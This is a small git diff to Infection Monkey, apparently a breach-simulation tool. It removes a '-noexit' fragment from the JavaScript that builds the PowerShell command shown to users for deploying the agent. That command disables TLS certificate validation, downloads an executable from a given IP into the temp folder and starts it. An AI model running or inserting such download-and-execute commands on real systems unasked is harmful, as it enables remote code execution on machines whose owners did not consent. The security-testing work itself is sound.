diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index a9f1c0d2c..da5d7c6e7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes'; export function getAgentDownloadCommand(ip, osType) { let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; return `$execCmd = @"\r\n` - + `-noexit [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` + + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe',` + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `\r\n"@; \r\n`